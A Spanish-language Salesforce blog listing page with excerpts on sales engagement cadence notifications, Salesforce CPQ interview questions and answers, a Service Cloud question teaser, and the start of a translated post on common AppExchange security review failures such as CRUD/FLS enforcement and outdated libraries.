Categorías
Developers

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Última actualización el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participación de ventas?

Objetivos:

Después de leer este blog, podrás:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscríbase para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado automáticamente desde la clase Apex
  • Y mucho más.

👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?

  1. ¿Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participación en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

¿Qué es la cadencia de participación en ventas?

La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.

La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.

Una cadencia de participación de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.

¿Qué es la captura de datos modificados?

Categorías
Developers Salesforce

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 1

Enlace de Whatsapp para el grupo Salesforce CPQ

1. ¿Qué son los filtros de búsqueda en el editor de líneas de cotización?

El filtro de búsqueda del editor de líneas de cotización se puede utilizar para filtrar productos, activos o suscripciones por sus valores de campo.

2. ¿Cuál es la diferencia entre la regla del producto y la regla del precio?

La estructura general de las reglas de precios y de productos es la misma:

  • Registro de reglas: que contiene propiedades generales.
  • Condiciones: ambas admiten lógica de condición avanzada
  • Comportamiento

Reglas del producto

Las reglas de productos se utilizan para hacer cumplir la lógica empresarial, ayudar a automatizar los comentarios a los representantes de ventas sobre las selecciones de productos y también aceleran el proceso de cotización.

Hay 4 tipos de reglas de producto:

Reglas de validación: cuando no se cumplen las condiciones, se muestra un mensaje de error y los usuarios no pueden continuar hasta que se solucione la situación. Por tanto, actúan como un freno duro .

Las reglas de alerta son una parada suave en comparación con la parada fuerte de las reglas de validación. También muestran un mensaje, pero es más bien una sugerencia porque el usuario puede continuar sin cumplir con los requisitos comerciales especificados.

Reglas de selección : pueden agregar, eliminar, mostrar, ocultar, habilitar o deshabilitar o realizar alguna combinación de estas acciones en las opciones de productos dentro de un paquete o pueden agregar un producto a una cotización. Esta regla puede ser una excelente manera de aprovechar la Venta Guiada para guiar a sus representantes hacia las opciones apropiadas o más deseadas seleccionando automáticamente los productos correctos.

Las reglas de filtrado se utilizan en paquetes para extraer opciones de productos del catálogo de productos mediante una regla de filtrado . A esto se le suele denominar creación de un paquete dinámico.

Reglas de precios

Se puede considerar que las reglas de precios realizan actualizaciones de campos dentro del cálculo que afectarán el precio. puede usarlos para establecer descuentos y cantidades.

3. ¿Cuáles son las consideraciones para los campos gemelos?

Recuerde que un campo gemelo debe tener el mismo tipo de datos y nombre de API que el campo correspondiente creado en el objeto Opción de producto.

4. ¿Cómo configurar productos de suscripción en Salesforce CPQ?

Hay tres campos esenciales para configurar Productos de suscripción en Salesforce CPQ.

Campo de producto Tipo de datos Descripción
Precios de suscripción Lista de selección El producto no se considerará una suscripción sin que este campo esté configurado en Precio fijo o Porcentaje del total.
Plazo de suscripción Número Este es el periodo asociado a la compra, por lo que puedes establecerlo en 12 meses si se trata de una Suscripción Anual.
Tipo de suscripción Lista de selección Este campo determina si el producto es renovable o único. Las Suscripciones Renovables se transfieren a Cotizaciones de Renovación. Las suscripciones únicas no lo harán.

Para crear Productos de Suscripción , cree un nuevo Registro de productos. Complete los campos: Precio de suscripción , Tipo de suscripción y Plazo de suscripción para el producto. Tenga en cuenta que durante la creación del contrato, los Productos de Suscripción se convierten en registros de Suscripción.

Salesforce CPQ, Productos de suscripción, Campos básicos de nuevos productos: Precios de suscripción; Tipo de suscripción; Plazo de suscripción

5. ¿Cuál es la diferencia entre restricciones de opciones y reglas de productos?

Las restricciones de opciones y las reglas de productos tienen diferentes casos de uso.

Las restricciones de opciones no pueden seleccionar productos automáticamente. (aunque pueden anular la selección de productos cuando se aplica la dependencia). Son buenos en dos escenarios:

  • dependencia
  • exclusión

Las restricciones de opciones permiten el procesamiento en tiempo real . Cada vez que el usuario selecciona o deselecciona una opción, la dependencia o exclusión se activa inmediatamente.

Las reglas de producto tienen más funciones que la restricción de opción, aunque es necesario elegir un evento de evaluación para especificar cuándo Salesforce CPQ debe considerar y ejecutar una regla de producto: Cargar, Editar, Guardar o Siempre.

6. ¿Explicar el paquete de productos en CPQ?

Hay tres objetos clave que definen la estructura del paquete :

  • Producto
  • Opciones
  • Características

Producto

Los paquetes están hechos de productos. Se puede hacer referencia a los productos en un paquete, ya sea como paquete principal o como opciones de producto. Piense en la computadora portátil como un producto

Opciones de producto

Son como hijos que se encuentran debajo del paquete principal y son los que realmente unen el paquete porque los paquetes se crean cuando agrega Opciones a un Producto en la lista relacionada de Opciones. Las opciones de producto para computadora portátil pueden ser mouse, teclado, cargador y software de Microsoft.

Características

Son categorías de opciones de productos dentro de la configuración. No son obligatorios, pero se pueden utilizar para una mejor experiencia visual y también ayudan a impulsar lógica adicional, como las opciones mínimas y máximas. Las funciones son como poner opciones dentro de funciones, por ejemplo:

Software

  • Software de Microsoft

Hardware

  • Ratón
  • Teclado

Aquí Hardware y Software son características que clasifican las opciones del producto.

Hay tres tipos de paquetes :

Paquete estático. Este sería el paquete fijo tradicional, preempaquetado, en el que se venden ciertos productos juntos a un precio fijo, y el usuario no necesita ingresar a la configuración porque no se permiten ajustes.

Paquete configurable. Este tipo de paquete se puede configurar con ciertas restricciones para evitar configuraciones imposibles. El usuario puede seleccionar diferentes opciones para personalizar el paquete y satisfacer las necesidades del cliente.

Paquete anidado. Estos son paquetes dentro de otros paquetes. Se recomienda mantener los paquetes anidados en tres niveles de profundidad. Los paquetes anidados se crean fácilmente agregando el producto principal de un paquete como opción a otro paquete.

Paquete virtual . Este tipo de fardo funciona como contenedor para otros productos. Para configurar un paquete principal virtual, debe estar asociado con un precio de $0,00.

Paquetes dinámicos . Estas funciones, junto con las reglas de filtrado de productos, permiten a sus representantes de ventas seleccionar productos de una lista previamente filtrada de opciones entre las que pueden elegir.

7.¿Qué son las funciones de CPQ?

El objeto de característica está relacionado con productos y "se encuentra" dentro de paquetes. Un paquete puede tener varias funciones o ninguna, y una función puede tener varias opciones.

Las características tienen dos propósitos:

  • Ofrecen una mejor experiencia de usuario mientras navegan por las opciones de productos dentro de los paquetes.
  • Los campos en los registros de funciones nos ayudan a impulsar la lógica empresarial , como establecer las opciones mínimas y máximas, evitando que el usuario seleccione muy pocas o demasiadas opciones. Si el usuario no cumple con los requisitos mínimos/máximos e intenta guardar la configuración.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

El campo Número establece el orden de visualización de las funciones, siendo la función con el número más bajo la primera en la lista. Se recomienda utilizar incrementos de 10 al asignar números.

El campo SKU configurado se completa automáticamente cuando el usuario crea una función desde la página de detalles del producto del paquete y representa el producto principal que alberga la función.

8. ¿Explica los diferentes valores del campo del método de selección de opciones en el objeto de características?

El campo Método de selección de opciones controla cómo aparecen al usuario las opciones adjuntas a esta función.

Haga clic : las opciones aparecen como una lista con casillas de verificación junto a ellas:

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

Agregar : las opciones se colapsan y en su lugar aparece un botón Agregar opciones. Se debe hacer clic en el botón Agregar opciones para navegar a una página separada que muestra los productos para esta función.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

Dinámico : muestra un botón Agregar opciones, que muestra una lista prefiltrada de productos disponibles para su selección. Para utilizar esta funcionalidad, debe configurar una regla de producto de filtro CPQ de Salesforce para paquetes dinámicos.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

9. ¿Explicar el campo del objeto de búsqueda?

Las reglas de producto y las reglas de precio en Salesforce CPQ contienen el campo Objeto de búsqueda. Este campo define el objeto que almacena datos que puede evaluar mediante consultas de búsqueda para compararlos con los campos de cotización, línea de cotización o opción de producto.

10. ¿Explicar la estructura de la plantilla de cotización?

La estructura de la plantilla de cotización incluye:

  1. Información de la plantilla de cotización
  • Información de la página
  • Información de encabezado/pie de página
  • Información corporativa
  • Información de estilo
  • Información de estilo de grupo
  • Títulos de sección
  • Opciones de impresión
  1. Listas relacionadas
  • Columnas de línea
  • Secciones de plantilla
  • Documentos adicionales

Detalles de la plantilla de cotización de muestra nueva de Salesforce CPQ

11. ¿Cuáles son los pasos para crear plantillas de cotizaciones?

Hay cinco pasos principales a seguir al crear una plantilla de cotización:

1. Crear la propia plantilla de cotización

2. Almacenamiento del logotipo necesario en Documentos

3. Creando el contenido de la plantilla

4. Creando las secciones de la plantilla

5. Creando las columnas de línea

12. ¿Cómo se puede renovar la suscripción con un cliente existente?

Si ya tiene una oportunidad de renovación, cuando se acerque al final del período de suscripción, es posible que desee venderles las suscripciones de renovación al cliente nuevamente. Para ello, necesita una cotización de renovación.

Se puede generar marcando la casilla de verificación Cotización de renovación como verdadera. Esta cotización de renovación se puede enviar, actualizar y modificar según sea necesario y luego recibirla nuevamente para que posteriormente pueda crear un contrato nuevo.

1. Primero, haga clic en la pestaña Cuentas en la barra de navegación.

2. Vaya a la empresa necesaria y haga clic en la pestaña Relacionado .

3. Acceda al enlace Número de contrato en la lista relacionada Contratos y luego haga clic en Editar .

4. Marque la casilla de verificación Cotización de renovación como verdadera, lo que le indicará a CPQ que genere una cotización sobre la oportunidad de renovación.

.

Tenga en cuenta que la cotización de renovación tiene la Fecha de inicio un día después de la Fecha de cierre de la oportunidad de renovación, mientras que la Fecha de finalización se basa en el Plazo de renovación del contrato.

13. ¿Cómo modificar un contrato en Salesforce CPQ?

Veamos cómo Salesforce CPQ puede actualizar un Contrato existente para incluir mayores cantidades de productos de suscripción, prorrateados por la duración restante del Contrato y crear automáticamente una Oportunidad y Cotización de enmienda:

Cree una cotización de modificación y una oportunidad para aumentar la cantidad de un producto de suscripción de 1 a 10, a partir de los 3 meses del contrato.

Navegue hasta esa cuenta y vaya al enlace Número de contrato en la lista relacionada Contratos. Luego, haga clic en Modificar y nuevamente en Modificar .

14. ¿Cómo funciona el grupo de restricción de opciones en Salesforce CPQ?

Esta característica resulta útil cuando desea hacer que las opciones sean obligatorias o excluidas en función de combinaciones de otras opciones.

Veamos un ejemplo en el que desea evitar que los representantes de ventas vendan el Producto A a menos que el Producto B se haya incluido en la cotización:

A. Haga clic en la pestaña Productos en la barra de navegación.

C. Vaya a la pestaña Relacionados .

D. En la lista relacionada Opciones , seleccione Ver todo y anote el número del Nombre de la opción para las opciones necesarias:

  • Producto A.
  • Producto B.

E. Haga clic en Nuevo en la lista relacionada Restricciones de opciones y complete los siguientes campos:

  • Para el campo Nombre de restricción , ingrese: El producto A requiere el producto B
  • Para el campo Opción restringida , ingrese: < PO-###### del Producto A >  
  • Para el campo Opción de restricción , ingrese: < PO-###### del Producto B >
  • Para el campo Grupo de restricciones de opción , ingrese: Puede ingresar aquí cualquier cadena de texto, pero es una buena práctica hacerla descriptiva y fácil de entender y recordar.

F. Haga clic en Guardar .

16. Tiene un escenario en el que el representante de ventas debe vender un paquete en el que hay al menos tantos Productos B como Productos A. ¿Cómo configurar para este escenario?

Paso 1: Cree una variable de resumen para determinar la cantidad agregada del Producto A en la configuración.

Paso 2: Cree una variable de resumen para determinar la cantidad agregada del Producto B en una configuración.

Paso 3: Cree una regla de producto que confirme cómo funcionará la regla de validación durante la configuración del producto.

Paso 4: Cree una condición de error que controle cuándo se activa la regla, es decir, solo cuando la variable de resumen del producto B es menor que la variable de resumen del producto A.

Paso 5: Cree una regla de configuración para mostrar que la regla de validación se aplicará al paquete de productos.

Paso 6: compruebe si la regla se comporta como se esperaba.

17. ¿Cómo utilizar las restricciones de opciones?

Hay muchos escenarios en los que sus representantes de ventas deben habilitar o deshabilitar un producto en un paquete en función de otra opción de producto.

Los escenarios incluyen:

  1. A. El Producto A pasa a estar DISPONIBLE si se selecciona el Producto B.
  2. B. El Producto A NO ESTÁ DISPONIBLE si se selecciona el Producto B.

Esto se puede lograr creando restricciones de opciones a partir de la lista relacionada Restricciones de opciones en el registro de producto principal del paquete.

Cree una restricción de opción para que el Producto A pueda seleccionarse solo cuando se seleccione el Producto B:

18. ¿Explique un caso de uso de precios contratados?

Escenario: el representante de ventas ha negociado con un cliente un precio especial para ciertos productos: $375,00 por una computadora portátil en lugar de $450,00

Utilice la herramienta Precios contratados, que permite crear registros relacionados con cuentas para excepciones de precios.

Primero, creemos un precio contratado para un único producto específico para una cuenta seleccionada. Haga clic en la pestaña Cuentas , haga clic en la cuenta seleccionada , vaya a la pestaña Relacionados y en la lista relacionada Precios contratados , haga clic en Nuevo:

►Producto: Computadora portátil
►Precio: 475
►Haga clic en Guardar.

Tenga en cuenta que los Precios Contratados pueden estar limitados en el tiempo: puede establecer una Fecha de Vigencia y/o una Fecha de Vencimiento.

19. ¿Explicar el evento de evaluación en la regla del producto?

Evento de evaluación : especifica cuándo se debe evaluar la regla:

Cargar: La regla se evaluará cuando se abra el paquete de productos.

Editar: la regla se evaluará cuando se edite el paquete de productos.

Guardar: la regla se evaluará al guardar.

Siempre: La regla será evaluada durante cualquier evento.

Ahora, supongamos que tiene un campo en el Objeto de producto que también desea ver en la Línea de cotización. Cree un campo con el mismo nombre de API y del mismo tipo.

20. ¿Qué es la venta guiada de Salesforce?

La venta guiada implementada en CPQ es una herramienta que formula preguntas sobre las necesidades del cliente en función de la selección de productos disponibles. Se hace creando un mensaje que pregunta a los representantes de ventas sobre los tipos de productos que desean agregar a la cotización y sus especificaciones.

21. ¿Qué es el precio por bloque de Salesforce?

Los precios en bloque le permiten fijar el precio de un producto en función de diferentes rangos de cantidades que se denominan precios en bloque.

  • El precio en bloque es un precio basado en niveles. El precio basado en niveles significa que el precio del producto depende de la cantidad que compra el cliente.
  • El precio también se basa en el rango de cantidad y no en el producto individual.

22. ¿Cuáles son los pasos para implementar un paquete dinámico?

Los paquetes dinámicos permiten a los representantes de ventas elegir sus propias opciones en un paquete. Puede utilizar reglas de filtrado para filtrar las opciones entre las que pueden elegir.

Para implementar un paquete dinámico, estos son los pasos de implementación que debe seguir:

►Crear una característica
►Crear una regla de producto
►Crear una acción
►Crear una regla de configuración

23. ¿Cuándo utilizar reglas de producto frente a restricciones de opciones?

Cuándo utilizar restricciones de opciones

Si tiene menos opciones y puede ajustar todas las opciones de producto en la categoría/pestaña sin tener que desplazarse mucho, entonces puede ser mejor optar por restricciones de opciones. Estos no pueden ocultar las Opciones del producto por completo, pero pueden habilitar/deshabilitar las Opciones del producto mediante otras selecciones.

24. ¿Cuándo utilizar las reglas del producto?

Este enfoque es especialmente útil en configuraciones más grandes que se muestran en categorías (pestañas), donde cada categoría puede requerir un desplazamiento extenso para mostrar todas las opciones.

Diferencias Restricciones de opciones Reglas de selección de productos
Acciones admitidas Habilitar deshabilitar Agregar, habilitar, deshabilitar, eliminar, habilitar y agregar, deshabilitar y eliminar, ocultar, mostrar, ocultar y eliminar, mostrar y agregar
Condiciones La restricción de opción tiene una condición simple: si se selecciona la opción X Las reglas de producto pueden tener múltiples condiciones que evalúan información fuera del contexto del paquete, es decir, campos de nivel de cotización/oportunidad/cuenta.
Alcance La restricción de opciones se limita a una sola opción. Las reglas del producto pueden actuar sobre múltiples opciones
Contexto Se utiliza sólo en el contexto de paquetes. Funciona en las opciones dentro del mismo paquete. Es específico de un solo paquete. Se utiliza en el contexto de paquetes y productos independientes. Se puede aplicar una regla de producto único a paquetes ilimitados.
Resultado No se puede seleccionar/deseleccionar automáticamente un producto Puede seleccionar/deseleccionar automáticamente un producto

25. ¿Cuándo se ejecutan las Reglas de Producto durante el proceso de cotización?

Las reglas del producto se ejecutan en la página de configuración del producto o en el editor de líneas de cotización. Esto se decide en función de los siguientes campos de reglas de producto:

a. ALCANCE – (Valores: Producto/Cotización ): el campo Alcance en el registro de regla del producto le indica a CPQ DÓNDE debe ejecutarse la regla. Un alcance de "Producto" significa que la regla se ejecutará durante la configuración del producto, y un alcance de "Cotización" hará que se ejecute en el Editor de líneas de cotización.

b. EVENTO DE EVALUACIÓN – (Valores: Cargar/Editar/Guardar/Siempre ): el campo Evento de evaluación en el registro de regla del producto le indica a CPQ CUÁNDO debe ejecutarse la regla.

26. Explique la descripción general del ciclo de vida de Salesforce CPQ.

Generación de leads: el ciclo de vida de CPQ comienza con la generación de leads, donde los clientes potenciales muestran interés en tus productos o servicios.

Creación de oportunidades: una vez que se identifica un cliente potencial, se convierte en una oportunidad en Salesforce. Esta etapa implica recopilar información del cliente y evaluar sus necesidades.

Configuración del producto: en esta etapa, el equipo de ventas utiliza Salesforce CPQ para configurar productos o servicios de acuerdo con los requisitos del cliente. CPQ permite configuraciones complejas de productos, opciones de agrupación y personalización.

Precios y descuentos: Salesforce CPQ permite al equipo de ventas aplicar precios y descuentos adecuados según los requisitos específicos del cliente, precios basados en el volumen o acuerdos contractuales. Esta etapa garantiza precios precisos y maximiza el potencial de ingresos.

Generación de cotizaciones: una vez determinados la configuración del producto y el precio, Salesforce CPQ genera una cotización profesional adaptada a las necesidades del cliente. La cotización incluye información detallada sobre los productos o servicios, precios y términos.

Aprobación y negociación de la cotización: la cotización generada pasa por un proceso de aprobación, donde las partes interesadas correspondientes la revisan y brindan su consentimiento. Esta etapa puede implicar negociación con el cliente para finalizar los detalles de la cotización.

Aceptación de cotización: una vez que el cliente acepta la cotización, avanza a la siguiente etapa del ciclo de vida de CPQ.

Creación de pedidos: la cotización aceptada se convierte en un pedido, lo que desencadena el proceso de cumplimiento, incluida la gestión de inventario, el procesamiento de pedidos y el envío.

Gestión de contratos: Salesforce CPQ proporciona capacidades de gestión de contratos, lo que permite al equipo de ventas generar y gestionar contratos basados en la cotización aceptada. Esta etapa garantiza el cumplimiento legal y agiliza la gestión del ciclo de vida del contrato.

Reconocimiento de ingresos: Salesforce CPQ se integra con sistemas de facturación y procesos financieros para facilitar el reconocimiento preciso de ingresos. Esto implica rastrear e informar los ingresos en función de los productos o servicios entregados.

Renovación y ventas adicionales: a medida que los contratos se acercan a su vencimiento, Salesforce CPQ ayuda a gestionar las oportunidades de renovación. El sistema puede identificar oportunidades de ventas adicionales o cruzadas y guiar al equipo de ventas para maximizar el valor para el cliente.

Informes y análisis: a lo largo del ciclo de vida de CPQ, Salesforce CPQ proporciona capacidades de informes y análisis para monitorear métricas clave, rastrear el desempeño de ventas, identificar tendencias y tomar decisiones basadas en datos.

27. ¿Explicar los atributos de configuración?

En Salesforce CPQ, esta funcionalidad se puede lograr principalmente creando un registro del objeto de atributo de configuración .

Atributo de configuración

Hay 2 tipos de Atributos de Configuración que podemos crear en Salesforce CPQ.

  1. Atributo de configuración
  2. Atributo global
  • Cuando queramos crear y asignar cualquier atributo al producto del paquete , crearemos un registro de Atributo de configuración que tenga el tipo de registro "Atributo de configuración" .
  • Cuando queramos crear y asignar cualquier atributo a un producto de opción , crearemos un atributo de configuración de registro que tenga el tipo de registro "Atributo global" .

28. ¿Qué es el precio excedente en Salesforce CPQ?

Imagina que tienes un plan de telefonía móvil que incluye hasta 10 GB de datos por 30 dólares al mes. Esto es mucho, pero ¿qué pasa si usas más de 10 GB en un mes? Ahí es donde entran en juego las tasas excedentes.

La compañía telefónica ofrece una tarifa excedente de $2 por GB adicional de datos utilizados más allá de los 10 GB iniciales. Esto significa que si usas 11 GB en un mes, pagarás la tarifa base de $30 por los primeros 10 GB, más una tarifa excedente de $2 por los GB adicionales, por un total de $32.

Así es como se descompone:

– Si usas 10 GB o menos, solo pagas tus $30 habituales, sin cargos adicionales.

– Si usas 11 GB, pagas $30 por los primeros 10 GB, luego $2 adicionales por el 11.° GB, para un total de $32.

– Si usas 12 GB, pagas $30 por los primeros 10 GB, luego $4 adicionales por los GB 11 y 12, por un total de $34.

…y así sucesivamente, sumando $2 por cada GB que uses por encima de los 10GB.

Este sistema hace que la facturación sea más clara y sencilla. Usted sabe exactamente cuánto se le cobrará si excede su límite de datos y la compañía telefónica puede calcular fácilmente los cargos según el uso real.

Para utilizar tarifas excedentes, debemos crear un campo personalizado especial en el objeto Precio de bloque. Este es un paso único para cualquier organización que utilice Salesforce CPQ.

29. ¿Explique la caída de precios en CPQ con la ayuda de un ejemplo?

Imagina que estás en "Sundae Funday", una heladería conocida por sus aderezos y sabores especiales. Decides comprar un cono de triple bola con tus sabores favoritos y así es como cambia el precio:

1. Precio original: Este es el costo básico en el que incurre “Sundae Funday” para hacer un cono de helado, incluyendo el helado, el cono, los aderezos y los costos operativos. Digamos que son $3.00. Esto no incluye ganancias ni costos adicionales; es simplemente cuánto le cuesta a la tienda hacer ese delicioso cono.

2. Precio de lista: ahora, el taller agrega su margen de beneficio, considerando factores como los gastos generales, los salarios del personal y el margen de beneficio. Este es el precio que ves en el menú cuando entras. Entonces, tu cono de triple cucharada aparece en $5.00. Ese es el precio estándar para cualquier cliente en un día normal.

3. Precio especial: ¿Adivina qué? Visitas la tienda un “martes tropical” y todos los conos con sabor tropical tienen un 20% de descuento. Como elegiste mango como una de tus bolas, tu cono ahora tiene un “precio especial” de $4.00. Este precio es específico para esta promoción o segmento de clientes.

4. **Precio Regular**: ¡Aquí vienen los beneficios del programa de fidelización! Como titular de una tarjeta de fidelidad “Sundae Funday”, tienes derecho a un descuento adicional del 10 % en cualquier compra. Ese beneficio reduce su precio a $3.60. Este es el “precio regular” que se ofrece a los clientes que cumplen ciertos criterios, como los miembros leales.

5. **Precio para el cliente**: Tienes un cupón por completar una encuesta en tu última visita, lo que te otorga un descuento adicional de $0,50 en tu próxima compra. Después de aplicar esto, su “precio al cliente” ahora es de $3,10. Este precio es el resultado de interacciones o negociaciones directas y únicas.

6. **Precio de socio**: La heladería tiene una asociación con un cine cercano. Dado que tiene una entrada de cine para el mismo día, obtiene un descuento adicional del 5%, lo que reduce su cono a un “precio de socio” de $2,95.

7. **Precio neto**: Finalmente, hay una promoción para toda la tienda en la que cada compra superior a $2,50 obtiene un descuento adicional de $0,10. Esto último te lleva a tu “precio neto” final de $2,85. Este es el monto final que paga y refleja todos los descuentos, promociones y circunstancias especiales que ha acumulado.

En este viaje, cada reducción de precio refleja una etapa en la cascada de precios CPQ, desde el costo básico de los bienes hasta el precio final pagado por un cliente en una posición única.

Memorizar las etapas de tarificación junto con sus funciones utilizando el

Con el mnemotécnico “Los viejos leones duermen, rara vez atrapan presas, nunca ronronean” , puede crear una historia que vincule cada término no solo con el orden de los precios sino también con sus roles específicos en el proceso de fijación de precios.

30. ¿Explique el método de fijación de precios de 'porcentaje del total'?

Imagina que estás en un parque de helados, famoso por su variedad de deliciosos helados y divertidas atracciones secundarias. Uno de los servicios únicos que ofrece este parque es el "Bono Sorpresa de Sundae", un regalo especial que se calcula en función del monto total que gasta en otras delicias. Así es como funciona:

1. Método de fijación de precios: “Porcentaje del total”:

– Piense en esto como la “Regla de la sorpresa del helado”. Cada vez que compras helados, batidos o aderezos, eres elegible para recibir un regalo adicional. El parque ha establecido esta regla especial según la cual su bonificación es un porcentaje del monto total que ha gastado, como su “propina” en el restaurante. Esta regla es conocida por todos y es como la forma especial que tiene el parque de dar las gracias.

2. Porcentaje del total (%) – El número mágico:

– El parque tiene carteles por todas partes que dicen: “¡Gasta en golosinas y recibe un 10% de bonificación!” Este 10% es el número mágico. Es como la receta especial para la felicidad del parque. Entonces, si gastas $30 en varios helados y batidos, recibirás un “Bono Sorpresa de Sundae” por valor de $3.

3. Porcentaje de la base total: recuento de helados:

– Ahora, aquí es donde se pone aún más genial. El parque te permite elegir qué cuenta para este cálculo mágico del helado. Suponga que decide que solo cuentan las bolas de helado, no los batidos ni los waffles. Eso significa que si gastaste $20 en bolas y $10 en batidos, solo los $20 cuentan para tu “Bono Sorpresa de Sundae”, lo que lo convierte en un valor de $2 (10% de $20).

Por lo tanto, cada vez que disfruta de las delicias cremosas en este parque de helados, Salesforce CPQ es como el servidor invisible que trabaja en segundo plano. Se trata de asegurarse de que se sigan las reglas, calcular su gasto total, aplicar el porcentaje mágico y calcular su bonificación en función exactamente de lo que desea contar para la sorpresa.

Esto hace que recordar el concepto de “porcentaje del total” sea tan fácil como disfrutar de un helado en un día soleado.

50% Me gusta VS
50% No me gusta
Categorías
Developers Salesforce

Guía definitiva de 150 preguntas sobre Salesforce Service Cloud: ¡domine cada detalle!

Temas cubiertos en la entrevista de Salesforce Service Cloud: Conocimientos generales y características Gestión de casos Soluciones y base de conocimientos Consola de servicio Portales/comunidades de clientes y agentes Flujo de trabajo y automatización: Informes y paneles en Service Cloud Integración de CTI y telefonía Servicio al cliente en redes sociales Chat y mensajería Integración […]

Categorías
AppExchange Developers Salesforce

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

